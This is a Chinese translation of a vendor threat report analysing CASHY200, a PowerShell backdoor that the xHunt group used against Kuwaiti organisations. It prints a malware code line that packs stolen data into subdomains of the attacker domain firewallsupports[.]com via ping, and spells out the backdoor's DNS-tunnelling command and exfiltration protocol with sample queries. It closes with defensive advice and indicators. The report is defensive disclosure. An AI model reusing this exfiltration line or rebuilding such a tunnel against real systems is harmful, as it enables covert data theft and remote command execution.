持续对抗xHunt:通过DNS隧道检测阻止新型PowerShell后门

41yf1sh 技术 2019年11月29日发布
Favorite收藏

导语:在对xHunt活动的持续分析过程中,我们观察到存在与pasta58[.]com域名相关联的多个域名,这些域名与已知的Sakabota命令和控制(C2)活动相关。

摘要

在对xHunt活动的持续分析过程中,我们观察到存在与pasta58[.]com域名相关联的多个域名,这些域名与已知的Sakabota命令和控制(C2)活动相关。在2019年6月,我们观察到其中一个重复使用的域名(windows64x[.]com)被用作新的基于PowerShell后门的C2服务器,我们将其命名为CASHY200。该PowerShell后门使用DNS隧道与其C2服务器进行通信,通过向上述域名所对应的攻击者控制的域名服务器发出DNS A查询来实现。CASHY200解析C2服务器在DNS回答中提供的数据,以在系统上运行命令,并将结果通过DNS查询的方式发送回C2。在我们所分析的几个样本中,CASHY200都使用了随机生成的标识符,这些标识符存储在注册表的HKCU\Software\Microsoft\Cashe\index之中,并使用命令值200与C2服务器进行通信。上述详细信息,是我们之所以将其命名为CASHY200的依据。

尽管我们目前还没有通过遥测发现CASHY200 PowerShell后门是如何交付的,但在2019年9月,我们观察到一台位于科威特的主机使用与CASHY200 Payload相同的DNS隧道协议向windows64x[.]com域名发送信标。幸运的是,我们的DNS安全服务阻止了向该域名发出信标的过程,因此攻击者无法再使用这个DNS隧道与Payload进行通信。经过对这一工具进行分析,参考此前的开源收集工作成果,我们发现,从2018年春季开始,直至2019年,针对科威特政府组织的攻击者可能持续在使用CASHY200进行攻击。

CASHY200攻击

2019年9月16日,科威特的一家组织开始使用我们的DNS安全服务,在几分钟内,DNS安全服务就检测到恶意DNS隧道活动。DNS隧道正在与Windows64x[.]com域名进行通信,而该域名此前与xHunt恶意活动相关联,这一恶意活动主要针对科威特的船运和陆运组织。在阻止DNS隧道之后,攻击者不再具有访问受感染系统的能力。而对于导致DNS隧道安装Payload的初始突破口,我们目前还没有通过遥测发现。

在调查这一恶意活动时,我们发现了一个基于可以与windows64x[.]com进行通信的Payload的CASHY200 PowerShell。我们分析了这个PowerShell脚本,发现其DNS隧道协议与科威特组织的出站DNS请求相匹配,但该请求被DNS安全服务阻止。我们将在本文的后面详细分析CASHY200及其DNS隧道协议。

在收集了额外的CASHY200样本之后,我们发现了证据,表明威胁组织正在积极开发这种基于PowerShell的工具,并在其攻击活动中使用。在研究恶意样本发展过程时,我们发现了一些可以追溯到2018年5至6月的样本。在2018年5月1日和6月3日,我们首次发现有可执行文件安装并执行与域名windows-updates[.]com和firewallsupports[.]com通信的CASHY200 PowerShell脚本。我们没有通过遥测确定这些Payload所影响的组织,但是,@Voulnet的推文声称攻击者使用Word文档运载PowerShell Payload,使用firewallsupports[.]com作为C2,针对科威特的政府组织发动攻击。

1.png

尽管我们无法确认该恶意组织是否将CASHY200 Payload配置为与firewallsupports[.]com进行通信以对科威特的目标政府组织进行攻击,但我们确实发现了包含CASHY200 Payload的Word文档,其中Payload配置了上述域名作为C2,文档中还包含科威特政府组织的LOGO,以此作为社会工程学诱导图片的一部分。这与在xHunt恶意活动中观察到的攻击目标相一致,在xHunt恶意活动中,攻击仅仅针对科威特的组织。下面列出了我们发现的恶意Word文档,这些文档表明该恶意组织还同时使用另一个C2域名winx64-microsoft[.]com。

安装CASHY200 Payload的恶意Word文档:

修改时间:2018年8月20日 7:00:00

SHA256:bce37fc0…

文件名:عيد الأضحى.docm

C2域名:firewallsupports[.]com

修改时间:2018年8月13日 9:07:00

SHA256:5a3c156…

文件名:دلیل تسجیل الدخول.docm

C2域名:firewallsupports[.]com

修改时间:1980年1月1日 00:00

SHA256:45b2db5…

文件名:Update list soft-Ad.docm

C2域名:winx64-microsoft[.]com

修改时间:2018年7月4日 5:45:00

SHA256:ce6b44af…

文件名:قائمة النماذج العامة01.docm

C2域名:firewallsupports[.]com

修改时间:2018年7月4日 6:10:00

SHA256:0b54763…

文件名:قائمة النماذج العامة02.docm

C2域名:firewallsupports[.]com

修改时间:2018年7月4日 6:09:00

SHA256:396235b…

文件名:قائمة النماذج العامة03.docm

C2域名:firewallsupports[.]com

值得关注的是,在2019年5月14日,有用户在Microsoft的TechNet论坛上发布了一条消息,称该用户在他们的两台服务器上发现了与域名windows64x[.]com相关的活动,并希望提供关于这一情况的更多信息。该用户描述的活动,与我们在科威特某政府组织中阻止的威胁相比,使用了相同的域名和相同的DNS隧道协议。尽管我们无法确认发文人员的具体身份,但根据论坛帖子中提供的详细信息,我们认为此人也曾在另外一个科威特政府组织中工作。

TechNet帖子中提供的另一个值得关注的细节是,使用命令ping -n 1 <domain>生成了对DNS隧道的查询。如下面代码所示,在配置C2为firewallsupports[.]com的CASHY200样本中,我们观察到使用相同技术来为DNS隧道发出查询。如果用户(在此处是恶意脚本)使用ping+域名,那么应用程序会在发出ICMP消息去ping远程系统之前尝试解析该域名。用这种方式去ping,就可以有效地发出DNS隧道查询。

CASHY200样本中的代码,使用ping -n 1向firewallsupports[.]com发出DNS查询:

$domain = $rnd + $in + $id + $coun + $data +
'.firewallsupports[.]com'
$get = cmd /c ping -n 1 $domain

同样,我们还发现另外一个CASHY200样本,该样本以与ping相同的方式使用了nslookup命令,但将域名改为了windows64x[.]com。该样本使用nslookup -type=a <domain>命令发出DNS查询,同时也进一步加强了两个域名之间的关联性。

CASHY200 DNS隧道协议

我们对样本文件(eccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3)进行了分析,以便了解Payload的功能,并分析在科威特某政府组织中组织的DNS隧道协议。该样本与域名windows64x[.]com进行通信。DNS隧道协议依靠DNS A查询将数据从木马发送到查询域名的子域名所对应的C2服务器,并通过C2服务器接收IPv4回答的数据。与该恶意活动相关的CASHY200样本可以发出两个不同的命令,如下所示,会使用以48或92开头的IPv4回答来答复初始信标的查询。

CASHY200中可用的命令及其功能:

IPv4命令:48.x.x.x

命令描述:运行“hostname”命令,然后将结果通过DNS隧道发送到C2。

IPv4命令:92.<# of queries>.x.x

命令描述:从后续DNS查询的回答中获取命令以运行,并将结果通过DNS隧道发送到C2。第二组8位字节用于通知Payload发出多少个DNS查询以获取命令。

将windows-updates[.]com和firewallsupports[.]com用作C2域名的早期CASHY200样本仅包含一个可用命令,该命令使用200作为IPv4回答的第一组8位字节。这一命令与上面描述的92命令具有相同的功能。针对早期恶意样本,实际不需要48命令,因为它们是在初始信标中提供系统的组几名,而不需要从C2请求。命令值200也是我们将该恶意软件命名为“CASHY200”的一个原因。

通常,由CASHY200为其DNS隧道生成的域名结构如下所示。数据窃取的序列号和数据是可选的,并且根据木马的请求类型经常为空。例如,作为新标的第一个DNS查询就不包含序列号或数据窃取字段。此外,早期的CASHY200样本使用4个随机字符,而不是5个。

CASHY200为其DNS隧道协议生成的DNS查询的结构:

<5个随机字符><十六进制请求类型><十六进制唯一主机名><序列号><数据窃取>.windows64x[.]com

请求类型字段允许CASHY200告知C2服务器其发出DNS查询的目的。这允许C2服务器使用DNS回答中适当的IPv4地址来响应入站查询。下表提供了所有可用的请求类型以及DNS查询的目的。最重要的是,使用windows64x[.]com作为C2服务器的CASHY200样本可以在对d或q请求类型的响应中接收命令,而早期样本只能处理q请求类型的响应中的命令。

CASHY200将用于通知C2每个DNS查询目的的请求类型:

d  初始的“hello”信标

q  请求命令信标

f  完成发送结果

c  发送即将发送的查询数,以自定义命令结果

h  在IPv4回答中从C2获取数据

a  在子域名内发送主机名命令的结果

r  在子域名内发送自定义命令的结果

在被DNS安全服务阻止的CASHY200隧道中,<十六进制唯一主机名>是一个字符串,被攻击者硬编码在木马中,该字符串对于每个受感染的主机来说似乎是唯一的。这一硬编码的主机名表明,威胁攻击者专门为受感染的主机创建了CASHY样本,这样也能使我们快速确定受感染的主机,并进行补救。早期的CASHY200样本使用木马存储在注册表中的随机生成标识符进行区分,其中的一个位置是“HKCU\Software\Microsoft\Cashe\index”,这也是“CASHY200”名称起源之一。

如前所述,当CASHY200将数据发送到C2服务器时,序列号仅出现在查询的子域名中。CASHY200以101作为起始序列号,并在每次发送查询时将该值递增,直至所有数据都传输到C2。

CASHY200 DNS隧道示例

为了进一步了解CASHY200使用的DNS隧道协议并进行可视化,我们建立了一个C2服务器来与后门进行交互,并向后门发出命令。我们建立了C2服务器,与配置为windows64x[.]com的CASHY200样本进行交互,该样本可以处理两个命令:DNS A记录回答第一组8位字节中为48或92的命令(具体请见上一章)。下图展示了CASHY200与我们建立的C2服务器进行交互时的网络数据包捕获。在截图中可以看到,CASHY200接收到“hostname”命令,后面会紧接着一个自定义命令“whoami”,这两个命令的运行结果都会传送回C2。

特别说明的是,下图表明DNS服务器以1.2.3.4响应这些查询,这只是我们在C2服务器中使用的占位符,因为CASHY200在发送数据时会忽略DNS响应。

与CASHY200关联的DNS流量接收和响应“hostname”,后面是自定义命令“whoami”:

2.png

在上图中,要解析的第一个DNS查询是yFIOr645245444143544544.windows64x[.]com,这也是初始信标。其中,前五个字符(yFIOr)是随机的,除生成随机子域名以避免DNS缓存之外,没有其他作用。接下来的两个字符(64)是十六进制表示,代表d请求类型,这是初始信标的请求类型。请求类型后面接着硬编码到样本中的系统特定主机名,在此示例中5245444143544544表示<REDACTED>。

要发出48命令以获取系统的主机名,C2服务器将使用48作为IPv4回答的第一组8位字节(48.0.0.0)来响应初始信标查询。C2服务器不需要发出特定的IPv4地址,因为CASHY200会忽略剩余的三个8位字节,并运行“hostname”命令。我们测试系统的主机名是test-system-ftw,CASHY200将该主机名通过一系列DNS查询发送到C2服务器以解析,具体如下:

pevtF6152454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com    diosk6152454441435445443130324c575a3064773d3d.windows64x[.]com

weDlz615245444143544544313033.windows64x[.]com

这些DNS查询包含“hostname”命令的结果,使用三个查询子域名中的请求类型a(61)来传输数据。在请求类型后,是这些DNS查询中需要发出的数据。在Base64解码每个查询中的数据之前,C2服务器使用序列号将查询结果正确排列。以我们的示例为例,从十六进制转换的结果为101dGVzdC1zeXN0ZW0、102LWZ0dw==和103。随后,C2服务器将来自每个查询的解码后数据连接起来,并形成最终的结果。下面展示了C2如何处理CASHY200发送的“hostname”命令结果,并生成test-system-ftw。

CASHY200发送的响应“hostname”命令的C2处理数据:

序列号:101

编码后数据:dGVzdC1zeXN0ZW0=

解码后数据:test-system

序列号:102

编码后数据:LWZ0dw==

解码后数据:-ftw

序列号:103

编码后数据:(无数据)

解码后数据:(无数据)

在发送完成“hostname”命令的结果之后,CASHY200发出请求类型为f(子域名为66)的UDmEJ665245444143544544.windows64x[.]com DNS查询,以通知C2发送数据已完成。发送“hostname”命令的结果后,CASHY200发出查询,以解析请求类型为q(子域名为71)的GmhpF715245444143544544.windows64x[.]com。CASHY200发出此请求以从C2服务器获取自定义命令,并在命令提示符下运行。

上图中捕获到的数据包表明,我们的C2服务器以q请求类型和92.2.0.0的IPv4地址来响应CASHY200的查询。如上文所述,CASHY200会将这个IPv4地址解析为自定义命令,并将IPv4的第一个8位字节(92)表示为已发出的自定义命令,将第二个8位字节(2)解析为后门必须发出DNS查询数量,以从C2服务器的查询回答中下载完整命令。命令数据是通过DNS回答中的IPv4地址发出的,这是一种非常低效的数据传输方式,因为C2只能针对木马发出的每个DNS查询请求回复4个字节的数据。

根据回答的IPv4地址92.0.0.0,CASHY200发出以下两个DNS查询,两个查询的请求类型均为h(子域名为68),序列号为100和101(子域名为313030和313031):

iQKEe685245444143544544313030.windows64x[.]com

TyxLC685245444143544544313031.windows64x[.]com

C2服务器使用IPv4地址119.104.111.97和109.105.0.0回答这两个查询,CASHY200通过将每组8位字节视为一个数据字节并连接所有字节以接收命令的方式来处理这两个查询。例如,下面展示了CASHY200如何处理两个IPv4回答,以获得命令“whoami”。

CASHY200处理来自C2的IPv4回答,以获取自定义命令来运行“whoami”:

IPv4回答:119.104.111.97

对应ASCII表示:‘w’.’h’.’o’.’a’

字符串:whoa

IPv4回答:109.105.0.0

对应ASCII表示:‘m’.’i’.’\x00’.’\x00’

字符串:mi

运行自定义命令“whoami”后,CASHY200将结果发送到C2服务器的方式与前面所讨论的“hostname”命令的发送方式略有不同。CASHY200通过发出查询以解析YqpZf6352454441435445443.windows64x[.]com来开始发送自定义命令的结果,该查询包含请求类型c(子域名为63)和数字3作为数据字段。CASHY200使用该请求的数据字段中的数字来通知C2,告知要想传输自定义命令的结果,实际需要发出的查询数量。

在发送了传输完整结果所需要的查询数量之后,CASHY200发出了以下三个查询,所有查询的请求类型均为r(子域名中为72):

QMNnv7252454441435445443130316447567a6443317a65584e305a57303d.windows64x[.]com  OlBCh7252454441435445443130324c575a30643178305a584e304c513d3d.windows64x[.]com  XUkra72524544414354454431303364584e6c63673d3d.windows64x[.]com

用于发送自定义命令结果的三个查询,包含一个从101开始的序列号,该序列号后面是数据,每个数据均以十六进制字节表示。在对十六进制字节进行转换后,发现分别是dGVzdC1zeXN0ZW0=、LWZ0d1x0ZXN0LQ==和dXNlcg==,表示自定义“whoami”命令返回的Base64编码后的结果,在我们的示例中应为“test-system-ftw\test-user”。下表展示了C2服务器如何处理CASHY200发出的三个查询,以传递自定义命令结果的过程稿。

CASHY200响应自定义命令“whoami”发送的C2处理数据:

序列号:101

编码后数据:dGVzdC1zeXN0ZW0=

解码后数据:test-system

序列号:102

编码后数据:LWZ0d1x0ZXN0LQ==

解码后数据:-ftw\test-

序列号:103

编码后数据:dXNlcg==

解码后数据:user

在发送自定义“whoami”命令的结果之后,CASHY200发出请求类型为f(子域名为66)的DNS查询fvSwZ665245444143544544.windows64x[.]com,以通知C2发送数据完成。

总结

根据我们的分析,我们发现在xHunt恶意活动中使用了多种自定义工具,针对科威特的组织发动攻击。本次我们发现了一个命名为CASHY200的自定义工具,这是一个基于PowerShell的后门,可以使用DNS隧道与C2服务器进行通信。通过情报收集,我们发现了相关证据,表明恶意组织使用CASHY200攻击科威特的政府组织。尽管我们无法确认具体是哪个组织,但根据DNS安全服务的遥测,我们确认该恶意组织还攻击了另一个位于科威特的组织。这些发现表明,这个恶意组织自2018年春季至2019年以来持续针对科威特组织发动攻击,其中包括政府组织、船运和陆运的工业组织。

Palo Alto Networks建议用户采取以下措施防范威胁:

1、在威胁情报中查看xHunt和CASHY200标签,以持续获取该恶意活动的相关指标。

2、使用DNS安全自动检测,检测本文中描述的DNS隧道协议。

3、使用威胁防护和URL过滤,对C2域名windows64x[.]com、firewallsupports[.]com、windows-updates[.]com和winx64-microsoft[.]com进行过滤。

4、使用反病毒软件,检测CASHY200恶意样本。

5、在DNS安全产品上阻止CASHY200隧道协议。

特别感谢Liu Daiping和Jun Javier Wang提供关于DNS安全服务如何阻止该DNS隧道活动的详细细节。

威胁指标

可执行Dropper:

ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9

3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c

1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575

79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f

恶意Word文档:

bce37fc0d97ac6bed24098ecf4187081e9a664c87d4fe558f3e46928140c835f

5a3c156565f4243eacf179b95696a15a2e1c460315ff0940c0c71c4f587eb4b3

45b2db5a78758f9d5125897da4a31c67e68424269eeed58646a87326a2b45d80

ce6b44af79db56be053f63426acee02c591a2e19ef29f43227ea5b0640e9b24a

0b5476369bca1d9998aa4a53dfe9e958268cd48ac69f9a16001f842330133fe6

396235b998ab348e7f82f1145e8566820652f187c28df2cdeb0dc9b0ef790422

CASHY200样本:

eccc65711cbd154f680e8c8ef343d53f29e4a6237510abd4ad1eab5742b035b3

a0ce856d224ee04558e5cb67bda8ae4733dd40f5a8e59ab5a799d7d1378625b4

b62c3aa413cc5bd551836328b9740ddd50c1a8aa7a04ea0e301fa507724e18f6

e36a4056b32e094ff6b0aefb2ffe11f033969dc10fa58199559d8c117d0e1b6f

2b73fe5b9ba44fadcee8657cb2d2b37aab8d0a3be4ed1f437c83f4594e501cd6

788687e478704b324089af011cbe20d9d3a590283dd85e45ffe3e51a340f58ca

ffe2e9b274b00ea967c96eca9c177048c35de75599488f1b8be5ae1cceba00d9

3e13f539071d56106e252566b436933ccffd2d509f0c3fae916748971663946c

1f48eceb9dca085d8eb2bcea1dde28e2643e1b198b0a7e998d7708fa68d43575

79c8ceb3627a8d35c8e7255007d87af8e20f1eb341b5446da1e063cf5da39c6f

CASHY200 C2域名:

windows64x[.]com

winx64-microsoft[.]com

firewallsupports[.]com

windows-updates[.]com

本文翻译自:https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/如若转载,请注明原文地址: https://www.4hou.com/technology/20856.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论